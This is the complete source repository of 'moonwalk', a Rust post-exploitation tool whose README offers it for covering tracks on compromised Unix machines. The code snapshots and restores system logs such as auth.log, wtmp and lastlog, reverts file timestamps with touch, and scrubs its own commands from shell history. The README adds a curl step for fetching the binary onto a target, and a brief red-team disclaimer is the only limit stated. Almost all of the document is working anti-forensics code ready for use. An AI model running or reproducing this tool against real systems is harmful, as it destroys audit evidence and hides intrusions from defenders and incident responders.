├── .github └── workflows │ └── release.yml ├── .gitignore ├── Cargo.toml ├── LICENSE ├── README.md └── src ├── core ├── clear.rs ├── fs.rs ├── logger.rs ├── messages.rs ├── mod.rs ├── parsers.rs ├── recon.rs └── values.rs ├── main.rs └── start.rs /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: moonwalk Release Action 2 | 3 | on: 4 | push: 5 | 6 | jobs: 7 | build-ubuntu: 8 | runs-on: ubuntu-latest 9 | 10 | steps: 11 | - name: Checkout 12 | uses: actions/checkout@v2 13 | 14 | - name: Install latest rust toolchain 15 | uses: actions-rs/toolchain@v1 16 | with: 17 | toolchain: stable 18 | default: true 19 | override: true 20 | 21 | - name: Build for Linux 22 | run: cargo build --all --release && strip target/release/moonwalk && mv target/release/moonwalk target/release/moonwalk_linux 23 | 24 | - name: Release 25 | uses: softprops/action-gh-release@v1 26 | if: startsWith(github.ref, 'refs/tags/') 27 | with: 28 | files: | 29 | target/release/moonwalk_linux 30 | env: 31 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 32 | 33 | build-mac: 34 | runs-on: macos-latest 35 | 36 | steps: 37 | - name: Checkout 38 | uses: actions/checkout@v2 39 | 40 | - name: Install latest rust toolchain 41 | uses: actions-rs/toolchain@v1 42 | with: 43 | toolchain: stable 44 | target: x86_64-apple-darwin 45 | default: true 46 | override: true 47 | 48 | - name: Build for Mac 49 | run: cargo build --all --release && strip target/release/moonwalk && mv target/release/moonwalk target/release/moonwalk_darwin 50 | 51 | - name: Release 52 | uses: softprops/action-gh-release@v1 53 | if: startsWith(github.ref, 'refs/tags/') 54 | with: 55 | files: | 56 | target/release/moonwalk_darwin 57 | env: 58 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 59 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "moonwalk" 3 | version = "1.0.0" 4 | edition = "2018" 5 | 6 | [dependencies] 7 | colored = "2.0.0" 8 | users = "0.11.0" 9 | serde = { version = "1.0.132", features = ["derive"] } 10 | serde_json = "1.0.73" 11 | once_cell = "1.9.0" 12 | 13 | [profile.release] 14 | lto = 'thin' 15 | panic = 'abort' 16 | codegen-units = 1 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Mufeed VH 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |

moonwalk

3 |

Cover your tracks during Linux Exploitation / Penetration Testing by leaving zero traces on system logs and filesystem timestamps.

4 | 5 | 6 |
7 | 8 | --- 9 | 10 | ## 📖 Table of Contents 11 | 12 | - [Introduction](#%E2%84%B9%EF%B8%8F-introduction) 13 | - [Features](#features) 14 | - [Installation](#installation) 15 | - [Usage](#usage) 16 | - [Contribution](#contribution) 17 | - [License](#license) 18 | 19 | ## ℹ️ Introduction 20 | 21 | **moonwalk** is a 400 KB single-binary executable that can clear your traces while penetration testing a **Unix** machine. It saves the state of system logs pre-exploitation and reverts that state including the filesystem timestamps post-exploitation leaving zero traces of a _ghost in the shell_. 22 | 23 | ⚠️ **NOTE:** This tool is open-sourced to assist solely in [**Red Team**](https://en.wikipedia.org/wiki/Red_team) operations and in no means is the author liable for repercussions caused by any prohibited use of this tool. Only make use of this in a machine you have permission to test. 24 | 25 | ## Features 26 | 27 | - **Small Executable:** Get started quickly with a `curl` fetch to your target machine. 28 | - **Fast:** Performs all session commands including logging, trace clearing, and filesystem operations in under 5 milliseconds. 29 | - **Reconnaissance:** To save the state of system logs, `moonwalk` finds a world-writable path and saves the session under a dot directory which is removed upon ending the session. 30 | - **Shell History:** Instead of clearing the whole history file, `moonwalk` reverts it back to how it was including the invokation of `moonwalk`. 31 | - **Filesystem Timestamps:** Hide from the Blue Team by reverting the access/modify timestamps of files back to how it was using the [`GET`](#usage) command. 32 | 33 | ## Installation 34 | 35 | ``` 36 | $ curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk 37 | ``` 38 | 39 | (`AMD x86-64`) 40 | 41 | **OR** 42 | 43 | Download the executable from [**Releases**](https://github.com/mufeedvh/moonwalk/releases) OR Install with `cargo`: 44 | 45 | $ cargo install --git https://github.com/mufeedvh/moonwalk.git 46 | 47 | [Install Rust/Cargo](https://rust-lang.org/tools/install) 48 | 49 | ## Build From Source 50 | 51 | **Prerequisites:** 52 | 53 | * [Git](https://git-scm.org/downloads) 54 | * [Rust](https://rust-lang.org/tools/install) 55 | * Cargo (Automatically installed when installing Rust) 56 | * A C linker (Only for Linux, generally comes pre-installed) 57 | 58 | ``` 59 | $ git clone https://github.com/mufeedvh/moonwalk.git 60 | $ cd moonwalk/ 61 | $ cargo build --release 62 | ``` 63 | 64 | The first command clones this repository into your local machine and the last two commands enters the directory and builds the source in release mode. 65 | 66 | ## Usage 67 | 68 |
69 | 70 | 71 | 72 | 73 |
74 |
75 | 76 | Once you get a shell into the target Unix machine, start a moonwalk session by running this command: 77 | 78 | $ moonwalk start 79 | 80 | While you're doing recon/exploitation and messing with any files, get the `touch` timestamp command of a file beforehand to revert it back after you've accessed/modified it: 81 | 82 | $ moonwalk get ~/.bash_history 83 | 84 | Post-exploitation, clear your traces and close the session with this command: 85 | 86 | $ moonwalk finish 87 | 88 | That's it! 89 | 90 | ## Contribution 91 | 92 | Ways to contribute: 93 | 94 | - Suggest a feature 95 | - Report a bug 96 | - Fix something and open a pull request 97 | - Help me document the code 98 | - Spread the word 99 | - Find something I missed which leaves any trace! 100 | 101 | ## License 102 | 103 | Licensed under the MIT License, see LICENSE for more information. 104 | -------------------------------------------------------------------------------- /src/core/clear.rs: -------------------------------------------------------------------------------- 1 | use std::io::Result; 2 | 3 | use super::{ 4 | values, 5 | fs::FileSystem, 6 | logger::TMP_LOG_DIR 7 | }; 8 | 9 | /// Clears every invokation of `moonwalk` from shell history 10 | pub fn clear_me_from_history() -> Result<()> { 11 | const HISTORY_FILES: [&str; 2] = ["~/.bash_history", "~/.zsh_history"]; 12 | 13 | // get current authenticated user 14 | let user = &values::CURR_USER; 15 | 16 | for file in HISTORY_FILES { 17 | let mut file_path: String = String::from(file); 18 | 19 | // parse and resolve `~/` home path 20 | if file_path.starts_with('~') { 21 | let current_user = format!( 22 | "/home/{:?}/", 23 | user.name() 24 | ).replace('"', ""); 25 | 26 | file_path = file_path.replace("~/", ¤t_user); 27 | } 28 | 29 | let mut write_buffer = String::new(); 30 | 31 | if FileSystem::file_exists(&file_path) { 32 | let history_file_bytes = FileSystem::read(&file_path)?; 33 | 34 | let file_contents = String::from_utf8_lossy( 35 | &history_file_bytes 36 | ); 37 | 38 | for line in file_contents.lines() { 39 | let condition = line.contains("moonwalk") || line.contains("MOONWALK"); 40 | 41 | if !condition { 42 | write_buffer.push_str(line); 43 | write_buffer.push('\n') 44 | } 45 | } 46 | 47 | FileSystem::write( 48 | &file_path, 49 | write_buffer.as_bytes() 50 | )?; 51 | } 52 | } 53 | 54 | // finally remove the logging directory 55 | FileSystem::remove_dir(&TMP_LOG_DIR)?; 56 | 57 | Ok(()) 58 | } -------------------------------------------------------------------------------- /src/core/fs.rs: -------------------------------------------------------------------------------- 1 | use std::fs; 2 | use std::io::BufReader; 3 | use std::io::prelude::*; 4 | use std::path::Path; 5 | use std::io::Result; 6 | use std::process::Command; 7 | 8 | use super::parsers::nix_stat_parser; 9 | 10 | use serde::{Deserialize, Serialize}; 11 | 12 | pub struct FileSystem; 13 | 14 | #[derive(Serialize, Deserialize)] 15 | pub struct FileStat { 16 | pub atime: String, 17 | pub mtime: String, 18 | pub ctime: String 19 | } 20 | 21 | impl FileSystem { 22 | /// Returns stat info of files to parse access/modify timestamps 23 | pub fn file_nix_stat(file_path: &str) -> FileStat { 24 | // return file stats from child process 25 | let child_process = Command::new("stat") 26 | .arg(file_path) 27 | .output() 28 | .expect("failed to execute child process"); 29 | 30 | // parse unix timestamp from fs stats 31 | nix_stat_parser( 32 | String::from_utf8_lossy(&child_process.stdout) 33 | ) 34 | } 35 | 36 | /// Apply timestamps to files using the touch utility 37 | #[inline] 38 | pub fn change_file_timestamp(file_path: &str, stat: FileStat) { 39 | Command::new("/usr/bin/touch") 40 | .args([ 41 | "-a", "-t", &stat.atime, 42 | "-m", "-t", &stat.mtime, 43 | file_path 44 | ]) 45 | .output() 46 | .expect("failed to execute child process"); 47 | } 48 | 49 | /// Returns if a file path exists or not 50 | #[inline] 51 | pub fn file_exists(file_path: &str) -> bool { 52 | Path::new(file_path).exists() 53 | } 54 | 55 | /// Read a file into bytes 56 | pub fn read(file_path: &str) -> Result> { 57 | let file = fs::File::open(file_path)?; 58 | let mut buf_reader = BufReader::new(file); 59 | let mut contents: Vec = Vec::new(); 60 | buf_reader.read_to_end(&mut contents)?; 61 | Ok(contents) 62 | } 63 | 64 | /// Write bytes to a file 65 | pub fn write(file_path: &str, contents: &[u8]) -> Result<()> { 66 | let mut file = fs::File::create(file_path)?; 67 | file.write_all(contents)?; 68 | Ok(()) 69 | } 70 | 71 | /// Create a recursive directory 72 | pub fn create_dir(file_path: &str) -> Result<()> { 73 | if !Path::new(file_path).exists() { 74 | fs::create_dir_all(file_path)? 75 | } 76 | Ok(()) 77 | } 78 | 79 | /// Remove a directory at absolute path 80 | pub fn remove_dir(file_path: &str) -> Result<()> { 81 | if Path::new(file_path).exists() { 82 | fs::remove_dir_all(file_path)? 83 | } 84 | Ok(()) 85 | } 86 | } -------------------------------------------------------------------------------- /src/core/logger.rs: -------------------------------------------------------------------------------- 1 | use std::io::Result; 2 | 3 | use serde::{Deserialize, Serialize}; 4 | use serde_json::{Map, Value}; 5 | 6 | use once_cell::sync::Lazy; 7 | 8 | use super::{ 9 | values, 10 | fs::{FileSystem, FileStat}, 11 | recon::return_wr_dir, 12 | messages::{Type, push_message} 13 | }; 14 | 15 | // set the logging directory inside a world writable directory in the target machine 16 | pub static TMP_LOG_DIR: Lazy = Lazy::new(|| { 17 | format!("{}/.MOONWALK", return_wr_dir()) 18 | }); 19 | 20 | pub(crate) struct Logger; 21 | 22 | #[derive(Serialize, Deserialize)] 23 | struct StatMap { 24 | log_files: Map 25 | } 26 | 27 | impl Logger { 28 | /// Prepares logging directory in a world-writable directory 29 | pub fn init() -> Result<()> { 30 | push_message( 31 | Type::Info, 32 | &format!("Found `{}` as world writable.", *TMP_LOG_DIR) 33 | ); 34 | push_message( 35 | Type::Info, 36 | &format!("Set `{}` as the logging directory", *TMP_LOG_DIR) 37 | ); 38 | FileSystem::create_dir(&TMP_LOG_DIR)?; 39 | Self::save_state()?; 40 | Ok(()) 41 | } 42 | 43 | /// Saves the current state of log files including it's timestamps 44 | pub fn save_state() -> Result<()> { 45 | // get current authenticated user 46 | let user = &values::CURR_USER; 47 | 48 | // initiate a HashMap for saving the current timestamps of log files 49 | let mut file_stat_map = StatMap { 50 | log_files: Map::with_capacity(values::LOG_FILES.len()) 51 | }; 52 | 53 | // save states of all log files 54 | for log_file in values::LOG_FILES { 55 | let mut log_file: String = String::from(log_file); 56 | 57 | // parse and resolve `~/` home path 58 | if log_file.starts_with('~') { 59 | let current_user = format!( 60 | "/home/{:?}/", 61 | user.name() 62 | ).replace('"', ""); 63 | 64 | log_file = log_file.replace("~/", ¤t_user); 65 | } 66 | 67 | if FileSystem::file_exists(&log_file) { 68 | // handle exact fs structure creation under logger directory 69 | let mut path: Vec<&str> = log_file.split('/').collect(); 70 | path.pop(); 71 | let dir_structure = path.join("/"); 72 | 73 | // create the same directory structure moonwalk's tmp dir 74 | FileSystem::create_dir( 75 | &format!("{}{}", *TMP_LOG_DIR, dir_structure) 76 | )?; 77 | 78 | // save target directory path 79 | let save_state_file = format!("{}{}", *TMP_LOG_DIR, log_file); 80 | 81 | // serialize the log file's stat timestamps 82 | let file_stat = FileSystem::file_nix_stat(&log_file); 83 | let stat_time = format!("{}|{}", file_stat.atime, file_stat.mtime); 84 | file_stat_map.log_files.insert(log_file.clone(), stat_time.into()); 85 | 86 | // save the log file's current state of bytes 87 | match FileSystem::read(&log_file) { 88 | Ok(contents) => { 89 | FileSystem::write( 90 | &save_state_file, 91 | &contents 92 | )? 93 | }, 94 | Err(error) => { 95 | // log the file if it's not authorized to access 96 | if error.to_string().contains("Permission denied") { 97 | push_message( 98 | Type::Skipped, 99 | &format!("Logging `{}` requires sudo privileges.", log_file) 100 | ) 101 | } else { 102 | push_message( 103 | Type::Error, 104 | &format!("Couldn't read `{}` because: {}.", log_file, error) 105 | ) 106 | } 107 | } 108 | }; 109 | } 110 | } 111 | 112 | // save a JSON map of all log file's unix timestamps 113 | let json_config = serde_json::to_string_pretty(&file_stat_map)?; 114 | let save_path = format!("{}/{}", *TMP_LOG_DIR, "log_file_timestamps.json"); 115 | FileSystem::write(&save_path, json_config.as_bytes())?; 116 | 117 | push_message(Type::Success, "Saved the current log states."); 118 | 119 | Ok(()) 120 | } 121 | 122 | /// Restore the saved state of log files to clear the modification traces 123 | pub fn restore_state() -> Result<()> { 124 | // get current authenticated user 125 | let user = &values::CURR_USER; 126 | 127 | // retrieve timestamps of files 128 | let read_log_json = FileSystem::read( 129 | &format!("{}/{}", *TMP_LOG_DIR, "log_file_timestamps.json") 130 | )?; 131 | 132 | let file_stat_map: StatMap = serde_json::from_slice(&read_log_json)?; 133 | 134 | for log_file in values::LOG_FILES { 135 | let mut log_file: String = String::from(log_file); 136 | 137 | // parse and resolve `~/` home path 138 | if log_file.starts_with('~') { 139 | let current_user = format!( 140 | "/home/{:?}/", 141 | user.name() 142 | ).replace('"', ""); 143 | 144 | log_file = log_file.replace("~/", ¤t_user); 145 | } 146 | 147 | let fmt_filename = log_file.clone(); 148 | 149 | let read_path = format!("{}{}", *TMP_LOG_DIR, fmt_filename) 150 | .replace('~', ""); 151 | 152 | if FileSystem::file_exists(&read_path) { 153 | // restore the initial states of all logged files 154 | match FileSystem::read(&read_path) { 155 | Ok(contents) => { 156 | match FileSystem::write( 157 | &log_file, 158 | &contents 159 | ) { 160 | Ok(()) => (), 161 | Err(error) => { 162 | if error.to_string().contains("Permission denied") { 163 | push_message( 164 | Type::Skipped, 165 | &format!("Writing `{}` requires sudo privileges.", log_file) 166 | ) 167 | } else { 168 | push_message( 169 | Type::Error, 170 | &format!("Couldn't write `{}` because: {}.", log_file, error) 171 | ) 172 | } 173 | } 174 | } 175 | }, 176 | Err(error) => { 177 | push_message( 178 | Type::Error, 179 | &format!("Couldn't read `{}` because: {}.", log_file, error) 180 | ) 181 | } 182 | }; 183 | 184 | // resolve timestamps of files from stat map 185 | let timestamps: Vec<&str> = file_stat_map.log_files.get(&log_file).unwrap() 186 | .as_str() 187 | .unwrap() 188 | .split('|') 189 | .collect(); 190 | 191 | let atime = timestamps[0]; 192 | let mtime = timestamps[1]; 193 | 194 | let file_stats = FileStat { 195 | atime: atime.into(), 196 | mtime: mtime.into(), 197 | ctime: String::new() 198 | }; 199 | 200 | FileSystem::change_file_timestamp( 201 | &log_file, 202 | file_stats 203 | ) 204 | } 205 | } 206 | 207 | push_message(Type::Success, "Restored initial machine states."); 208 | 209 | Ok(()) 210 | } 211 | } -------------------------------------------------------------------------------- /src/core/messages.rs: -------------------------------------------------------------------------------- 1 | use colored::*; 2 | 3 | /// Logging message types 4 | pub enum Type { 5 | _Warning, 6 | Skipped, 7 | Error, 8 | Info, 9 | Success, 10 | } 11 | 12 | /// Outputs logging messages 13 | pub fn push_message(log_type: Type, message: &str) { 14 | let prefix = match log_type { 15 | Type::_Warning => format!("{}{}{}", "[".bold(), "WARN".bold().yellow(), "]".bold()), 16 | Type::Skipped => format!("{}{}{}", "[".bold(), "SKIPPED".bold().yellow(), "]".bold()), 17 | Type::Error => format!("{}{}{}", "[".bold(), "ERROR".bold().red(), "]".bold()), 18 | Type::Info => format!("{}{}{}", "[".bold(), "INFO".bold().cyan(), "]".bold()), 19 | Type::Success => format!("{}{}{}", "[".bold(), "SUCCESS".bold().green(), "]".bold()) 20 | }; 21 | 22 | eprintln!("{}", format!("{} {}", prefix, message)) 23 | } -------------------------------------------------------------------------------- /src/core/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod fs; 2 | pub mod logger; 3 | pub mod messages; 4 | pub mod parsers; 5 | pub mod recon; 6 | pub mod clear; 7 | pub mod values; -------------------------------------------------------------------------------- /src/core/parsers.rs: -------------------------------------------------------------------------------- 1 | use std::borrow::Cow; 2 | use super::fs::FileStat; 3 | 4 | /// Parses the date time format from `stat` to `[[CC]YY]MMDDhhmm[.ss]` format 5 | #[inline] 6 | pub fn nix_timestamp_parser( 7 | timestamp_str: &str 8 | ) -> String { 9 | let mut fmt_time = String::with_capacity(15); 10 | let mut start_parse: bool = false; 11 | let mut seek_colon: bool = false; 12 | 13 | for c in timestamp_str.chars() { 14 | if c == ' ' { start_parse = true } 15 | if start_parse { 16 | match c { 17 | '-' | ' ' => (), 18 | ':' => { 19 | if seek_colon { 20 | fmt_time.push('.') 21 | } 22 | seek_colon = true; 23 | }, 24 | '.' => break, 25 | _ => fmt_time.push(c) 26 | } 27 | } 28 | } 29 | 30 | fmt_time 31 | } // hehe 32 | 33 | /// Offloads the required fields from `stat` to parse timestamps 34 | #[inline] 35 | pub fn nix_stat_parser( 36 | stream: Cow<'_, str> 37 | ) -> FileStat { 38 | let mut atime = String::with_capacity(15); 39 | let mut mtime = String::with_capacity(15); 40 | let ctime = String::new(); 41 | 42 | for line in stream.lines() { 43 | if line.contains("Access") && !line.contains("Uid") { 44 | atime = nix_timestamp_parser(line); 45 | } else if line.contains("Modify") { 46 | mtime = nix_timestamp_parser(line) 47 | } 48 | } 49 | 50 | FileStat { 51 | atime, 52 | mtime, 53 | ctime 54 | } 55 | } -------------------------------------------------------------------------------- /src/core/recon.rs: -------------------------------------------------------------------------------- 1 | use std::process::Command; 2 | 3 | use super::fs::FileSystem; 4 | 5 | /// Returns world-writable directories in the target machine 6 | pub fn return_wr_dir() -> String { 7 | let child_process = Command::new("find") 8 | .args(["/", "-maxdepth", "3", "-type", "d", "-perm", "-777"]) 9 | .output() 10 | .expect("failed to execute child process"); 11 | 12 | let output = String::from_utf8_lossy(&child_process.stdout); 13 | let dir_list: Vec<&str> = output.lines().collect(); 14 | 15 | for dir_path in dir_list { 16 | if dir_path.contains('/') && FileSystem::file_exists(dir_path) { 17 | match FileSystem::create_dir( 18 | &format!("{}/{}", dir_path, ".MOONWALK") 19 | ) { 20 | Ok(()) => return String::from(dir_path), 21 | Err(_) => continue 22 | } 23 | } 24 | } 25 | 26 | String::from("/tmp") // fallback default 27 | } -------------------------------------------------------------------------------- /src/core/values.rs: -------------------------------------------------------------------------------- 1 | use once_cell::sync::Lazy; 2 | use users::{get_user_by_uid, get_current_uid}; 3 | 4 | pub static CURR_USER: Lazy = Lazy::new(|| { 5 | get_user_by_uid(get_current_uid()).unwrap() 6 | }); 7 | 8 | /// A list of all the common logging files in a UNIX machine 9 | pub static LOG_FILES: [&str; 23] = [ 10 | "~/.bash_history", 11 | "~/.zsh_history", 12 | "~/Library/Logs/DiagnosticReports", 13 | "~/Library/Logs", 14 | "/var/log/messages", 15 | "/var/log/auth.log", 16 | "/var/log/kern.log", 17 | "/var/log/cron.log", 18 | "/var/log/maillog", 19 | "/var/log/boot.log", 20 | "/var/log/mysqld.log", 21 | "/var/log/qmail", 22 | "/var/log/httpd", 23 | "/var/log/lighttpd", 24 | "/var/log/secure", 25 | "/var/log/utmp", 26 | "/var/log/lastlog", 27 | "/var/log/wtmp", 28 | "/var/log/yum.log", 29 | "/var/log/system.log", 30 | "/var/log/DiagnosticMessages", 31 | "Library/Logs", 32 | "Library/Logs/DiagnosticReports" 33 | ]; // Thanks https://github.com/sundowndev/covermyass -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | mod core; 2 | mod start; 3 | 4 | fn main() -> std::io::Result<()> { 5 | start::init() 6 | } 7 | -------------------------------------------------------------------------------- /src/start.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | use std::io::Result; 3 | 4 | use colored::*; 5 | 6 | use crate::core::{ 7 | clear::clear_me_from_history, 8 | logger::Logger, 9 | fs::FileSystem, 10 | messages::{Type, push_message} 11 | }; 12 | 13 | /// CLI interface invoking user commands 14 | pub fn init() -> Result<()> { 15 | let args: Vec = env::args().collect(); 16 | 17 | if args.len() > 1 { 18 | let command = args[1].as_str(); 19 | 20 | match command { 21 | "start" => { 22 | // save current machine log states 23 | Logger::init()?; 24 | }, 25 | "finish" => { 26 | // restore machine state to how it was 27 | Logger::restore_state()?; 28 | // clear every invokation of moonwalk from shell history 29 | clear_me_from_history()?; 30 | }, 31 | "get" => { 32 | if args.len() > 2 { 33 | let filename = args[2].as_str(); 34 | let file_stats = FileSystem::file_nix_stat(filename); 35 | 36 | let command = format!( 37 | "touch -a -t {} -m -t {} {}", 38 | file_stats.atime, 39 | file_stats.mtime, 40 | filename 41 | ); 42 | 43 | let prefix = format!("{}{}{}", "[".bold(), ">".bold().cyan(), "]".bold()); 44 | eprintln!( 45 | "\n{} To restore the access/modify timestamp of this file, use command ↓\n\n $ {}\n", 46 | prefix, 47 | command.magenta() 48 | ); 49 | 50 | // clear every invokation of moonwalk from shell history 51 | clear_me_from_history()?; 52 | } else { 53 | push_message( 54 | Type::Error, 55 | "Please specify the filename to get it's timestamp change command." 56 | ) 57 | } 58 | }, 59 | _ => () 60 | } 61 | } else { 62 | // print a banner to look cool 63 | eprintln!( 64 | "{}", 65 | " 66 | ┌┬┐┌─┐┌─┐┌┐┌┬ ┬┌─┐┬ ┬┌─ 67 | ││││ ││ │││││││├─┤│ ├┴┐ 68 | ┴ ┴└─┘└─┘┘└┘└┴┘┴ ┴┴─┘┴ ┴ v1.0.0 69 | ".red() 70 | ); 71 | 72 | eprintln!( 73 | "{}\n\n{}{}\n{}{}\n{}{}\n", 74 | "\nUsage".bold().cyan(), 75 | "Start moonwalk:".bold().magenta(), 76 | "\n\n\t$ moonwalk start\n".bold(), 77 | "Finish moonwalk and clear your traces:".bold().magenta(), 78 | "\n\n\t$ moonwalk finish\n".bold(), 79 | "Get the current timestamp of a file to restore it later:".bold().magenta(), 80 | "\n\n\t$ moonwalk get ".bold() 81 | ) 82 | } 83 | 84 | Ok(()) 85 | } --------------------------------------------------------------------------------